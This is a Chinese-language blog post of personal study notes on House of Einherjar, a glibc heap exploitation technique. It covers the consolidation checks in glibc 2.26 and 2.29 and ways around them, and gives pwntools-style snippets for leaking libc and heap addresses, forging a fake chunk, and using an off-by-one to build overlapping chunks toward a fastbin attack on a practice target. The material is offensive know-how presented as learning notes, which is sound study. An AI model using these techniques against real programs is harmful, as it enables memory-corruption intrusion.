【我的 PWN 学习手札】House of Einherjar

利用简单,甚至可实现任意地址malloc。

前言

之前学off-by-null的时候,经典的做法是通过覆盖prev-inuse位,释放后造成堆块重叠再进行后续利用。而house of enherjar相比与off-by-null,需要泄露堆地址,条件更宽裕,能够实现更强的效果。

好久没写博客了,但其实学习没有停下,趁着回头巩固,补一补笔记。


一、基本原理

我们知道,如果一块被申请的(且大小不在fastbin范围、无tcachebin或tcachebin填满)malloc chunk 释放时,如果前一块被标记为 free chunk,则会进行向前合并的操作。

5f128b4c6fe549a79b5f4060bfa8e55c.png

现在如果我们对各chunk的控制字段略加修改(即拥有堆溢出、任意地址写、UAF等条件),那我们就可能造成对于一些数据的覆盖,即overlapping。这是因为ptmalloc2堆管理机制下,向前合并时,判断前一个chunk是否释放、前一个chunk的位置,分别是通过chunk控制字段的prev_inuse位和prev_size位找到的。

739d5efee12a444fb6462230e00daf61.png

二、具体分析

1、释放smallbin大小的chunk,判断向前合并条件是prev-inuse位为0

2、寻找前一个chunk的位置通过prevsize来定位(prev-inuse置0时,本字段启用)

因此我们需要修改(严格的方式是溢出一个字节null),并设置prevsize为合适大小

3、合并时,将prev-chunk从链表中unlink下来,有一些检查和判断

if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                 
    malloc_printerr(check_action, "corrupted double-linked list", P, AV);

只需要将fake_chunk的fd和bk指向fake_chunk本身即可绕过 

 4、glibc2.26后,prevchunk的size回合prevchunk.nextchunk的size进行检查(而不是malloc chunk 和 prevchunk.nextchunk的size进行检查) 

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))   
    malloc_printerr("corrupted size vs. prev_size");  

5、glibc2.29及以后,检查了prevsize和prevchunk.size是否相等 

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

为此我们大概布局如下:

eb0f5056fd394bba9e508ba38a6a09e8.png

glibc2.26以后,会增加检查;通过如下方式绕过。

其中箭头出的方向表示由该数据开始索引,箭头指向的地方标识索引到的位置。下面两个黄色箭头标识这两个数据要对应相等,且先后索引关系为箭头方向。

这里即,满足fake_size寻址到下一个chunk的prevsize,两者需要相等。

3a6e3b7b69f44b2bacc7069f2c703717.png

glibc2.29及以后,检查变严苛;这里从当前chunk索引到前一个chunk,比较prevsize和size。也就是说,prevsize必须等于fakechunk的fakesize了。

48fc420a4e504dada980252aadb2bf23.png

三、调试分析

 

首先leak libc 和 heap 备用

add(0,0x208)
add(1,0x68)
add(2,0x1f8)
add(3,0x68)
delete(0)
delete(2)

# leak libc
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3c4b78
success(hex(libc.address))

# leak heap
edit(2,1,b'a')
show(2)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
edit(2,1,b'\x00')
success(hex(heap_base))

然后布局fake_chunk

payload=b''
payload+=p64(0) #prevsize
payload+=p64(0x200+0x70+0x1) #size
payload+=p64(heap_base+0x10) #fd
payload+=p64(heap_base+0x10) #bk
edit(0,len(payload),payload)

 dec4320549f740efa7eb590c3b549f8f.png

 然后通过off-by-one修改即将释放chunk的控制头字段

87ca31ef0a724ab581d905b7403c79f8.png

让我们看一下这样形成的chunk关系:

fba839e96efb437b99ac0290eaa7795a.png 继续,释放掉堆块,构成overlapping

25bdea7319064b31a4ce24655dc8abaf.png

此时已经完成攻击,现在堆块布局如下:

55aa11033ebe41779dd1f22433962f0c.png

接下来只需要释放overlapping的中间的malloc chunk,然后通过切割unsortedbin中的合并的大chunk,实现对fastbin中chunk的数据修改,完成fastbin attack。当然这只是一种利用House of Einherjar的getshell思路。 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值